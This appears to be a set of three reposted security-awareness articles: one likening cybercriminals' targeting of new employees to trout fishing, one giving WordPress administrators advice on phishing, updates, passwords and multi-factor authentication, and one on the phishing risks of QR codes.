Trout anglers know that older and larger trout are more “educated” in spotting real food from an anglers imitation. Older trout have probably seen numerous presentations from lots of different anglers and learned to be wary and highly selective. Also, the clearer the water, the more wary the trout are in general to protect themselves from predators. Smaller, younger trout have yet to learn and are easier to fool. 

Cybercriminals know that new employees are easier to fool as well. This is especially true when cyber security training is minimal and there is little peer to peer education about what to watch out for when it comes to email phishing and social engineering. And working from home has in most cases reduced the amount of team learning and peer to peer interactions, which provide a safe place for new employees to ask questions and seek advice. In many training classes few employees want to be singled out for asking “naïve” questions.

A Human Approach to Mitigating Cybercrime

To blunt the growing impact of cybercrime, companies need to focus more on the human aspect of cyber security. In most organizations, 98% of the cyber security budget is spent on technology and less than 2% on employees. Yet 88% of cyber breaches are the result of human error, poor cyber hygiene, mismanagement, and insider actions. Just 12% of breaches are due to technology failures. And 61% of cyber victims fail to report the incident. 

The analogy between fly fishing and cybercrime offers many opportunities for companies to improve their cyber security. For example, clarity of water in a trout stream is easily equated with open transparency and cross-functional communications in the corporate world. Learning from others, on-going communications about attempted cyberattacks and successful breaches allows everyone to learn quickly and become more aware and accountable. Having the IT department help secure the home technology and internet environment of senior executives, Board Directors and other high value targets helps prevent breaches and high-value-employee data mining by cyber criminals. Adding additional support for the cyber security and IT team to improve and keep on top of cyber hygiene, patches and software upgrades can go a long way in mitigating cyber risks.

Cyber security is the number one threat to businesses and organizations everywhere. Between 2020 and 2021, ransomware attacks increased by 60%, with the average ransomware payment approaching $4.5 million (IBM). And that’s just the payment to the hackers. The cost of downtime, lost revenue, reputational damage and decline in market value is nearly 10 times the ransom payment.

It is past time senior leaders prioritize the human firewall. Otherwise cybercrime will continue to grow and pose an ever growing threat to our global economy and way of life.

Source: https://www.linkedin.com/pulse/why-cybercrime-like-trout-fishing-john-r-childress/?trk=public_post

National Cyber Security Awareness Month: You Could Be the Biggest Threat to Your WordPress Site

October is National Cyber Security Awareness Month in the U.S., and this year’s theme is “See Yourself in Cyber.” What is really being said by this theme is that we all have a role to play in cyber security, whether we work in the industry or not. With this in mind, the Cybersecurity and Infrastructure Security Agency (CISA) and the National Cybersecurity Alliance (NCA) have identified four key areas where we can all take action to protect our presence online, and work to keep others safe. These same concepts can be used to help secure WordPress sites as well.

Think Before You Click

The idea behind this concept is that you should always be on the lookout for phishing attempts. This is true in general, but also applies specifically to anyone who is an administrator of a WordPress site. Anyone who is in this role is likely very familiar with receiving emails from their website that advise of available updates, or comments that need to be moderated, and plenty of plugins have their own reasons for sending emails to administrators as well. As most administrators don’t log into the admin panel daily, these emails are often a critical part of the site management workflow.

WordPress is currently used on over 40% of all websites, making it both well-known and a large target for threat actors. What this means is that threat actors are aware of the emails that website administrators are used to receiving, and can likely duplicate them with relative ease. Whenever you receive an email from your website, it is best to check that any links do not contain domain names from other websites before clicking, or better yet log into the admin panel directly and navigate to the page that needs your attention.

Even more important than checking links in the emails you are used to receiving is checking links in emails you aren’t expecting. The folks at WordFence recently discussed how links can be manipulated to enable a complete account takeover, among other malicious activities. By remaining vigilant and checking the actual URL being used, these types of attacks can be avoided.

Update Your Software

One of the best ways to keep a website secure is to ensure that any software being used is regularly updated with the latest security updates. In WordPress, this means keeping your core WordPress version up to date, as well as any themes or plugins that are installed. ProtectYourWP.com does this for you with daily site checks and updates.

Despite the ability to update all of this software automatically, many site administrators allow their websites to run on outdated versions, many of which contain security vulnerabilities. Some may have reasons for using older versions, such as theme or plugin compatibility issues. However, these issues should be resolved as quickly as possible, finding replacement themes or plugins if necessary.

The majority of the targeted attack attempts we see are attempting to make use of vulnerabilities in outdated plugins. As threat actors become aware of vulnerabilities, they also know they can find success in exploiting those vulnerabilities because of the number of administrators who allow outdated plugins to remain active on the website. The simple act of updating all of the site software is one of the simplest ways to prevent the success of an exploit attempt.

Use Strong Passwords – and a Password Manager

It can’t be stated enough that passwords need to be as strong as possible. Threat actors have been looking for ways to get into user accounts since the dawn of the modern era of computing, and they have a number of tools at their disposal to guess or “crack” passwords. The stronger the password, the lower their chance of success. Longer passwords are considered more secure, with current recommendations calling for a minimum of a 16-character password wherever possible. Each password should only be used to log into a single account. This means that individuals should have strong and unique passwords for each and every account they have from WordPress to Gmail and everything in between.

While the requirement to use a unique password for every account may sound like overkill to some, there is a very good reason for it. A type of attack known as credential stuffing is easily prevented simply by using unique passwords. Credential stuffing consists of using known usernames and passwords to try to log in to as many accounts as possible. If credentials from an account are leaked in a data breach, stolen through phishing, or otherwise obtained by a malicious actor, they are often able to gain access to multiple accounts simply by using those same credentials in other accounts, such as Gmail, banks, and of course WordPress.

Another common method of guessing a password is what is known as a dictionary attack. This type of attack utilizes techniques like trying lists of common passwords, or even seemingly random strings, in the password field to attempt to find one that provides access to the account. In the last 30 days, we have blocked 4,239,859,063 password attack attempts, which highlights the importance of using a strong password to keep malicious actors out of accounts.

Blocked password attacks in the last 30 days

Using long passwords that are unique for each account can seem intimidating, especially once you consider that the average person has around 100 different accounts that need passwords. This is where password managers come in. Most password managers can automatically generate secure passwords, and securely store those passwords to easily copy and paste into login forms. There are a number of password managers available, all with their own set of features and use-cases. Ultimately, which password manager you use is far less important than the fact that you are using one, so use the one that fits your needs the best.

Refresh your memory with 10 of the most common password mistakes we’ve seen and employ techniques to mitigate the risks of each one.

Enable Multi-Factor Authentication

While strong passwords are important, enabling multi-factor authentication (MFA) is one of the most effective methods of preventing unauthorized account access. According to details provided in a White House press briefing, 80-90% of all cyber attacks can be prevented with the implementation of multi-factor authentication (MFA). There are various forms that MFA can take, but the basic idea behind it is that you are using something you know (password), along with something you are like biometrics or something you have such as a smartphone or usb device, to provide access.

What makes MFA so effective is the fact that it requires at least one additional form of authentication that a malicious actor is not likely to possess with the first factor. This means that even if a threat actor obtains a username and password through a phishing scam, they still won’t have access to the smart card, MFA token, or other additional form of authentication required. Most MFA methods are also relatively simple for the authorized user to utilize, and combining this with strong unique passwords that are stored in a password manager can even be more convenient for the user than trying to remember password variants that work with the various password requirements of their accounts. As a reminder, Wordfence makes it incredibly easy for site owners to set-up MFA for all Wordfence users.


National Cyber Security Awareness Month is a great time to review our personal and professional security hygiene. Each year a different theme is chosen, based on the areas that have been observed to need the most improvement. The specific behaviors and techniques highlighted should be reviewed and applied everywhere possible. Following this year’s theme of “See Yourself in Cyber” we gain the understanding that cyber security is everyone’s responsibility, and that we can apply new behaviors to avoid phishing and vulnerabilities, as well as better secure access to our accounts.

Scan This: There’s Danger in QR Codes

QR codes have become embedded in daily life for many adults. Their spread was highlighted on Super Bowl Sunday, when a bouncing QR code on a brightly colored field occupied 30 seconds of very expensive air time. Capturing that particular QR code led viewers to information on cryptocurrency. Codes that have popped up on restaurant tables across the country lead to menus and apps for paying meal charges. Other codes could lead to much less benign destinations. 

The same qualities that make QR codes so valuable make them a legitimate threat to enterprise (and personal) cybersecurity. A type of bar code introduced in 1994 by automotive supplier Denso Wave, QR codes were first used to track components and subassemblies through an automobile assembly process. There are now 40 versions of the QR code, each carrying a different amount of information. Depending on the error correction employed, QR code capacity can range from 72 to 16,568 bits — more than enough to carry significant information about a part, or a malicious instruction for your mobile device or enterprise network.

And the opportunities to deliver those malicious instructions exploded shortly after the beginning of the pandemic when countless restaurants, eager to avoid the appearance of delivering viruses along with menus, moved customers to a menu viewed on their mobile phones. How did those menus get to the customers’ mobile phones? Through a scanned QR code. Convenient, hygienic, and ubiquitous, QR codes have revolutionized menu delivery and customer feedback. They have also revolutionized delivery methods for malware and social engineering attacks.

Take a Closer Look
The problem isn’t really with the capability of QR codes — those capabilities make the codes very useful for any number of legitimate business and consumer purposes. The problem is that so many people have stopped thinking about the codes that they scan. How many times have you seen people walk into a restaurant and scan the QR code from a sticker attached to the table, often scanning the code before they’re fully settled in their seats? That kind of reflexive scanning is the human component of the vulnerability that the code introduces to the enterprise.

So, what is an enterprise security staff to do about it? Given the square code’s ubiquity, a blanket prohibition on scanning is unlikely to work. The best approach, as in so many things cyber, is solid education on the threat and best practices for minimizing its impact.

The first thing employees must learn is that scanning a QR code should never be automatic. Want to see a menu on your smartphone? Great — ask the server to bring you a sheet with the QR code printed on it. Want to leave a review? Great — scan the code on the bottom of your receipt. QR codes on random stickers stuck to tables and doors should be treated with suspicion since they’re in far too public a set of locations to trust.

Next up is learning to consider context when scanning a QR code. On an official sign with a logo in your bank’s lobby? Perhaps. On a crooked sticker at the front of a gas pump? Hard no. Treating QR codes as you would any other bit of electronic kit is important because that’s exactly what they are: mechanisms for carrying and delivering code to a device. Just because they’re made of ink and paper rather than silicon and gallium arsenide doesn’t mean they’re any less effective — or dangerous.

Consider Training
The potential danger of QR codes is actually a good excuse to introduce training about dangers beyond the obvious phishing email message and dodgy website. Criminals and threat actors are eager to take advantage of actions taken without thought — times when employees are on “auto pilot” regarding their actions. Train employees to stop and think about codes, images, and stickers before they launch the attached URL and you may well cut down on the number of malware packages that come attached to orders for gooey cookies.

Source: https://www.darkreading.com/omdia/scan-this-there-s-danger-in-qr-codes